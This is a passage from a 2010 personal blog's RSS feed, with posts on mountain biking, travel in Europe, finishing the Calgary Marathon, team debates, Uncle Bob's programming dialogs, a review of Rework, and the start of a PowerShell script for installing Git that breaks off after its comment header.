src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/RBoMlVTd3s0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/11/01/travel-stories/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/11/01/travel-stories/</feedburner:origLink></item>
		<item>
		<title>Back at it: A Summer Recap</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/a70yZiN3hV4/</link>
		<comments>http://adam.kahtava.com/journal/2010/10/28/back-at-it-a-summer-recap/#comments</comments>
		<pubDate>Thu, 28 Oct 2010 17:00:41 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Calgary]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2674</guid>
		<description><![CDATA[I love summer, every moment of it! It&#8217;s difficult to write a blog post or even digest tech content in the precious summer months. A Summer Recap Biking. I was able to get lots of mountain biking in. Although the conditions were usually wet and the trails muddy, I was still able to get out [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://www.flickr.com/photos/kahtava/5106778568/"><img title="Adam Kahtava" src="http://farm2.static.flickr.com/1366/5106778568_37f9728911_m.jpg" alt="" /></a></div>
<p>I love summer, every moment of it! It&#8217;s difficult to write a blog post or even digest tech content in the precious summer months.</p>
<h3>A Summer Recap</h3>
<p><strong>Biking.</strong> I was able to get lots of mountain biking in. Although the conditions were usually wet and the trails muddy, I was still able to get out on the bike twice a week. Besides, according to my philosophy, the amount of mud you take home on your bike is directly proportionate to the amount of fun you&#8217;ve had. No mud, no fun. <em>Although most my friends would disagree. :)</em> I also picked up a bike for Steph at the end of this summer and we toured some of the easier albeit LONG rides (Elbow Loop, Goat Creek to Banff Springs to Canmore to Goat Creek).</p>
<p><strong>Hiking and Backpacking</strong>. We managed to knock of a couple local hikes: Mount Baldy (<a href="http://www.flickr.com/photos/kahtava/sets/72157625109055507/">photos</a>), Mount Lawrence Grassi (<a href="http://www.flickr.com/photos/kahtava/sets/72157624829469890/">photos</a>), Moose Mountain (<a href="http://www.flickr.com/photos/kahtava/sets/72157624293957787/">photos</a>), Black Prince Lake (<a href="http://www.flickr.com/photos/kahtava/sets/72157624535405636/">photos</a>), Prairie Mountain (<a href="http://www.flickr.com/photos/kahtava/sets/72157624293948291/">photos</a>), Stanley Glacier (<a href="http://www.flickr.com/photos/kahtava/sets/72157624535410340/">photos</a>) along with a backpack trip to Floe Lake (<a href="http://www.flickr.com/photos/kahtava/sets/72157624512874045/">photos</a>) and another to Forks and Turbine Canyon (<a href="http://www.flickr.com/photos/kahtava/sets/72157625115710969/">photos</a>).</p>
<p><strong>Europe.</strong> I FINALY got to Europe, something I&#8217;ve been wanting to do for a long-long time. Europe lived up to my expectations, we visited France (<a href="http://www.flickr.com/photos/kahtava/collections/72157625131980049/">photos</a>), Italy (<a href="http://www.flickr.com/photos/kahtava/collections/72157625131976567/">photos</a>), Vatican City, Holland, Belgium (<a href="http://www.flickr.com/photos/kahtava/collections/72157625131991351/">photos</a>), and England (<a href="http://www.flickr.com/photos/kahtava/sets/72157625140771106/">photos</a>). My favourite country while in Europe was Italy. Italy was more exciting, crazy, dirty, and entrepreneurial than the other countries, but Thailand is still my favourite country. I&#8217;m dying to go back to Southeast Asia.</p>
<p><strong>Running.</strong> When I wasn&#8217;t biking, or hiking, I&#8217;d fall back on my trusty shoes, and you can bet I was running while in Europe. Running was an amazing way to experience a city. My favourite run was in Paris (running from Notre Dame, through the the Louvre gardens, to the Arc de Triomphe, under the Eiffel Tower, then back to Notre Dame). I want to do the Paris Marathon next year. I also ran the parameter of Lamballe France, through the rural country side and down a river near Gupry France (South of Rennes), the circumference of Venice Italy (I got horribly lost), through the hill paths between Manarola and Riomaggiore Italy (an hour long hill workout in the heat), a 12km session on a Belgium treadmill (yawn), and around the Royal Gardens of England (pretty). Yeah&#8230; I admit I am borderline obsessed with running.</p>
<p>So now that summer is over I&#8217;m back at it. A big thank-you for sticking around. :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=a70yZiN3hV4:OEN9H910--s:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=a70yZiN3hV4:OEN9H910--s:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=a70yZiN3hV4:OEN9H910--s:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=a70yZiN3hV4:OEN9H910--s:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=a70yZiN3hV4:OEN9H910--s:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=a70yZiN3hV4:OEN9H910--s:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=a70yZiN3hV4:OEN9H910--s:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=a70yZiN3hV4:OEN9H910--s:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/a70yZiN3hV4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/10/28/back-at-it-a-summer-recap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/10/28/back-at-it-a-summer-recap/</feedburner:origLink></item>
		<item>
		<title>On Teams: Religious Debates Erode Respect</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/cPhlntXFC9k/</link>
		<comments>http://adam.kahtava.com/journal/2010/07/15/on-teams-religious-debates-erode-respect/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 17:00:41 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Team Work]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2664</guid>
		<description><![CDATA[&#8220;religious debates &#8230; consist largely of people expressing strongly held personal beliefs about things that can&#8217;t be proven. &#8230; they rarely result in anyone involved changing his or her personal view. &#8230; besides wasting time, these arguments create tension and erode respect among team members, and can often prevent the team from making critical decisions.&#8221; [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>&#8220;religious debates &#8230; consist largely of people expressing strongly held personal beliefs about things that can&#8217;t be proven. &#8230; they rarely result in anyone involved changing his or her personal view. &#8230; besides wasting time, <strong>these arguments create tension and erode respect among team members</strong>, and can often prevent the team from making critical decisions.&#8221; &#8211; Steve Krug, <a href="http://www.amazon.com/Dont-Make-Me-Think-Usability/dp/0321344758/?tag=adamkahtavaap-20">Don&#8217;t Make Me Think</a></p></blockquote>
<p>There we have it, religious debates erode respect.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=cPhlntXFC9k:3wkkC-jEivo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=cPhlntXFC9k:3wkkC-jEivo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=cPhlntXFC9k:3wkkC-jEivo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=cPhlntXFC9k:3wkkC-jEivo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=cPhlntXFC9k:3wkkC-jEivo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=cPhlntXFC9k:3wkkC-jEivo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=cPhlntXFC9k:3wkkC-jEivo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=cPhlntXFC9k:3wkkC-jEivo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/cPhlntXFC9k" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/07/15/on-teams-religious-debates-erode-respect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/07/15/on-teams-religious-debates-erode-respect/</feedburner:origLink></item>
		<item>
		<title>Finishing a Marathon</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/CS71HZKQ1BA/</link>
		<comments>http://adam.kahtava.com/journal/2010/06/07/finishing-a-marathon/#comments</comments>
		<pubDate>Mon, 07 Jun 2010 17:00:47 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Calgary]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Running]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2634</guid>
		<description><![CDATA[At the 32km marker a series of signs were staked into the grass along the course. The first sign read &#8220;You&#8217;re doing it!&#8221;, the next &#8220;Only 10 more kms!&#8221;, and the next &#8220;You&#8217;re running a marathon! You ARE a marathon runner!&#8221; A tear welled in the corner of my eye, perhaps from the pain in [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;padding-left: 5px;"><a href="http://www.flickr.com/photos/jtulloch/4652895157/"><img title="Adam Kahtava" src="http://farm5.static.flickr.com/4009/4652895157_758f14e553_m.jpg" alt="" /></a></div>
<p>At the 32km marker a series of signs were staked into the grass along the course. The first sign read <em>&#8220;You&#8217;re doing it!&#8221;</em>, the next <em>&#8220;Only 10 more kms!&#8221;</em>, and the next <em><strong>&#8220;You&#8217;re running a marathon! You ARE a marathon runner!&#8221;</strong></em> A tear welled in the corner of my eye, perhaps from the pain in my quads, or the reality of still being 10km from the finish, but more likely because it finally dawned on me that I was indeed running a marathon &#8211; an event I&#8217;d been looking forward to since running <a href="http://adam.kahtava.com/journal/2009/06/05/training-for-a-half-marathon/">the Half Marathon</a> a year earlier.</p>
<p>Training for a Marathon was relativity easy. Basically you run one long run every week, in addition to running 6-10km 4 times every week, then rinse and repeat for 3 months. As boring as that may sound, once I got into a routine, and found a running partner, I looked forward to running. Here&#8217;s the schedule I followed (<em>I know</em>,<em> I know</em>, don&#8217;t laugh, it&#8217;s from the far from reputable About.com): <a href="http://running.about.com/od/marathonprograms/a/marathonbeg.htm">Basic Marathon Training Schedule for Beginners</a>.</p>
<p>My next goal is to qualify for a <a href="http://en.wikipedia.org/wiki/Boston_Marathon">Boston Marathon</a> (qualifying time is 3 hours and 10 minutes) and run alongside the 20,000 participants in the Boston next year. I&#8217;m not too far off the qualifying time, as I managed to finish in <a href="http://www.raceheadquarters.com/results/2010/run/CalgaryMarathon2010.html">3:22</a>.</p>
<p>Get out there and run! :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CS71HZKQ1BA:KpjbKrgys0U:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CS71HZKQ1BA:KpjbKrgys0U:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=CS71HZKQ1BA:KpjbKrgys0U:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CS71HZKQ1BA:KpjbKrgys0U:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=CS71HZKQ1BA:KpjbKrgys0U:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CS71HZKQ1BA:KpjbKrgys0U:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=CS71HZKQ1BA:KpjbKrgys0U:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CS71HZKQ1BA:KpjbKrgys0U:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/CS71HZKQ1BA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/06/07/finishing-a-marathon/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/06/07/finishing-a-marathon/</feedburner:origLink></item>
		<item>
		<title>We All Live In An Uncle Bob Dialog</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/XXKRwKTrP8Y/</link>
		<comments>http://adam.kahtava.com/journal/2010/05/31/we-all-live-in-an-uncle-bob-dialog/#comments</comments>
		<pubDate>Mon, 31 May 2010 17:00:26 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2627</guid>
		<description><![CDATA[Robert C. Martin (affectionately known as &#8220;Uncle Bob&#8221; in the development community) has a number of great books demonstrating the benefits of OOD/OOP and good design principles. Those acquainted with his books will also be familiar with his generous use of conversation dialogs between developers. A sample excerpt: RCM: &#8220;Will you help me write a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.objectmentor.com/omTeam/martin_r.html">Robert C. Martin</a> (affectionately known as &#8220;Uncle Bob&#8221; in the development community) has <a href="http://www.objectmentor.com/resources/books.html">a number of great books</a> demonstrating the benefits of OOD/OOP and good design principles. Those acquainted with his books will also be familiar with his generous use of conversation dialogs between developers. </p>
<p>A sample excerpt:</p>
<blockquote><p>RCM: &#8220;Will you help me write a little application that calculated bowling scores?&#8221;<br />
RSK: &#8220;&#8230; Sure, Bob, I&#8217;d be glad to help. &#8230; I used to be a pretty good bowler &#8230; &#8220;<br />
RCM: &#8220;Let&#8217;s begin with scoring a single game &#8230;&#8221;<br />
RSK: &#8220;OK, we&#8217;re going to need some test data. Let me sketch out a little picture of a scorecard &#8230;&#8221;<br />
RSK: &#8220;Shall we start at the end of the dependency chain and work backward? &#8230;&#8221;<br />
- A Programming Episode from <a href="http://www.amazon.com/Agile-Principles-Patterns-Practices-C/dp/0131857258">Agile Principles, Patterns, and Practices</a></p></blockquote>
<p>This dialog continues for some 40+ pages as we&#8217;re walked through a paired programming session demonstrating <a href="http://en.wikipedia.org/wiki/Test-driven_development">test driven development</a> and refactoring techniques. Admittedly, while reading these dialogs, I initially thought they were a bit over-the-top (campy), but as I actively listen to the communication happening within my team I realize that these dialogs are happening all around me.</p>
<p>An excerpt from this past week:</p>
<blockquote><p>Me: &#8220;Will you help me write a stored procedure to retrieve the customer&#8217;s cart items count and default lightbox items count?&#8221;<br />
Dev: &#8220;Sure, Adam, I&#8217;d be glad to help.&#8221;<br />
Me: &#8220;Cool! This will be more efficient than aggregating the data from multiple repositories &#8230;&#8221;
</p></blockquote>
<p>Pull yourself in, that&#8217;s right, a little closer to the campfire, now sing it with me, &#8220;We all live in a yellow submarine&#8230; errr&#8230; an Uncle Bob dialog, an Uncle Bob dialog.&#8221; :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=XXKRwKTrP8Y:36nCy1jNm0g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=XXKRwKTrP8Y:36nCy1jNm0g:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=XXKRwKTrP8Y:36nCy1jNm0g:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=XXKRwKTrP8Y:36nCy1jNm0g:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=XXKRwKTrP8Y:36nCy1jNm0g:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=XXKRwKTrP8Y:36nCy1jNm0g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=XXKRwKTrP8Y:36nCy1jNm0g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=XXKRwKTrP8Y:36nCy1jNm0g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/XXKRwKTrP8Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/05/31/we-all-live-in-an-uncle-bob-dialog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/05/31/we-all-live-in-an-uncle-bob-dialog/</feedburner:origLink></item>
		<item>
		<title>Book Reviewed: Rework by Jason Fried and David Heinemeier Hansson</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/EZF_tsoB4q8/</link>
		<comments>http://adam.kahtava.com/journal/2010/05/27/book-reviewed-rework-by-jason-fried-and-david-heinemeier-hansson/#comments</comments>
		<pubDate>Thu, 27 May 2010 21:23:32 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Book]]></category>
		<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2604</guid>
		<description><![CDATA[Rework by Jason Fried and David Heinemeier Hansson has been on Amazon&#8217;s top ten list for a couple months now and for good reason, it&#8217;s captivating, easy to read, engaging, and fun. However, I was disappointed with the lack of references. If the authors had included references to texts that back up many of their [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.amazon.com/Rework-Jason-Fried/dp/0307463745/"><img src="http://ec1.images-amazon.com/images/P/0307463745.01._SCMZZZZZZZ_.jpg" alt="" /></a></div>
<p><a href="http://www.amazon.com/Rework-Jason-Fried/dp/0307463745/">Rework</a> by Jason Fried and David Heinemeier Hansson has been on Amazon&#8217;s top ten list for a couple months now and for good reason, it&#8217;s captivating, easy to read, engaging, and fun. However, I was disappointed with the lack of references. If the authors had included references to texts that back up many of their opinions (books like the <a href="http://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959/">Mythical Man-Month</a>, <a href="http://www.amazon.com/Peopleware-Productive-Projects-Teams-Second/dp/0932633439/">Peopleware</a>, etc&#8230;) then Rework could have more impact on corporate decision makers. Unfortunately, without the external references this book is easily passed of as highly opinionated and subjective.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=EZF_tsoB4q8:0fcglljbY9w:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=EZF_tsoB4q8:0fcglljbY9w:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=EZF_tsoB4q8:0fcglljbY9w:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=EZF_tsoB4q8:0fcglljbY9w:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=EZF_tsoB4q8:0fcglljbY9w:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=EZF_tsoB4q8:0fcglljbY9w:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=EZF_tsoB4q8:0fcglljbY9w:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=EZF_tsoB4q8:0fcglljbY9w:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/EZF_tsoB4q8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/05/27/book-reviewed-rework-by-jason-fried-and-david-heinemeier-hansson/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/05/27/book-reviewed-rework-by-jason-fried-and-david-heinemeier-hansson/</feedburner:origLink></item>
		<item>
		<title>Transparency, the Underpinnings of Becoming an Unprofessional</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/xByA37rlZi4/</link>
		<comments>http://adam.kahtava.com/journal/2010/05/25/transparency-the-underpinnings-of-becoming-an-unprofessional/#comments</comments>
		<pubDate>Tue, 25 May 2010 17:00:32 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2578</guid>
		<description><![CDATA[The business world is full of &#8220;professionals&#8221; who wear the uniform and try to seem perfect. In truth, they just come off as stiff and boring. No one can relate to people like that. Don&#8217;t be afraid to show your flaws. Imperfections are real and people respond to real. &#8230; Don&#8217;t worry about how you&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/kahtava/4629573031/in/set-72157604066415953/"><img src="http://farm4.static.flickr.com/3313/4629573031_fc7c279f89_m.jpg" alt="" /></a></div>
<blockquote><p>The business world is full of &#8220;professionals&#8221; who wear the uniform and try to seem perfect. In truth, they just come off as stiff and boring. No one can relate to people like that.<br />
Don&#8217;t be afraid to show your flaws. Imperfections are real and people respond to real. &#8230; Don&#8217;t worry about how you&#8217;re supposed to act. Show the world what you&#8217;re really like, warts and all &#8230; talk like you really talk. Reveal things that others are unwilling to discuss. Be upfront about your shortcomings. &#8230; You might not seem as professional, but you will seem a lot more genuine. &#8211; <a href="http://www.amazon.com/Rework-Jason-Fried/dp/0307463745/">Rework: Jason Fried, David Heinemeier Hansson</a></p></blockquote>
<p>I&#8217;ve struggled with the personal vs professional tension for sometime. Back in 2002, I started this site with the intention of professional self promotion (image above is my site from 2003). The results were predictable: the tone boring, the topics dry and most visitors saw through the veil of self promotion. I&#8217;ve matured since then (well I hope I have). :) Over the years I&#8217;ve found that a personal, down-to-earth tone maintains a healthy level of transparency both on the web and in real life. As Gandhi once said:</p>
<blockquote><p>Happiness is when what you think, what you say, and what you do are in harmony.</p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=xByA37rlZi4:CTcrnfrcguQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=xByA37rlZi4:CTcrnfrcguQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=xByA37rlZi4:CTcrnfrcguQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=xByA37rlZi4:CTcrnfrcguQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=xByA37rlZi4:CTcrnfrcguQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=xByA37rlZi4:CTcrnfrcguQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=xByA37rlZi4:CTcrnfrcguQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=xByA37rlZi4:CTcrnfrcguQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/xByA37rlZi4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/05/25/transparency-the-underpinnings-of-becoming-an-unprofessional/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/05/25/transparency-the-underpinnings-of-becoming-an-unprofessional/</feedburner:origLink></item>
		<item>
		<title>Install Git On Windows With PowerShell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/sskm2-mQo1A/</link>
		<comments>http://adam.kahtava.com/journal/2010/05/04/install-git-on-windows-with-powershell/#comments</comments>
		<pubDate>Tue, 04 May 2010 17:00:50 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[PowerShell]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2566</guid>
		<description><![CDATA[I like Git and here's a PowerShell script that I use to download and install Git on my Windows based development machines. PLAIN TEXT POWERSHELL: # Installs git for Windows via PowerShell # # Sample usage: # #&#160; Install git: #&#160; &#160; PS&#62; install-git # # Adam Kahtava - http://adam.kahtava.com/ - MIT Licensed &#160; function [...]]]></description>
			<content:encoded><![CDATA[<p>I like <a href="http://en.wikipedia.org/wiki/Git_(software)">Git</a> and here's a PowerShell script that I use to download and install Git on my Windows based development machines.</p>
<div class="igBar"><span id="lpowershell-2"><a href="#" onclick="javascript:showPlainTxt('powershell-2'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">POWERSHELL:</span>
<div id="powershell-2">
<div class="powershell">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;"># Installs git for Windows via PowerShell</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;"># Sample usage:</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#&nbsp; Install git:</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#&nbsp; &nbsp; PS&gt; install-git</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;"># Adam Kahtava - http://adam.kahtava.com/ - MIT Licensed</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
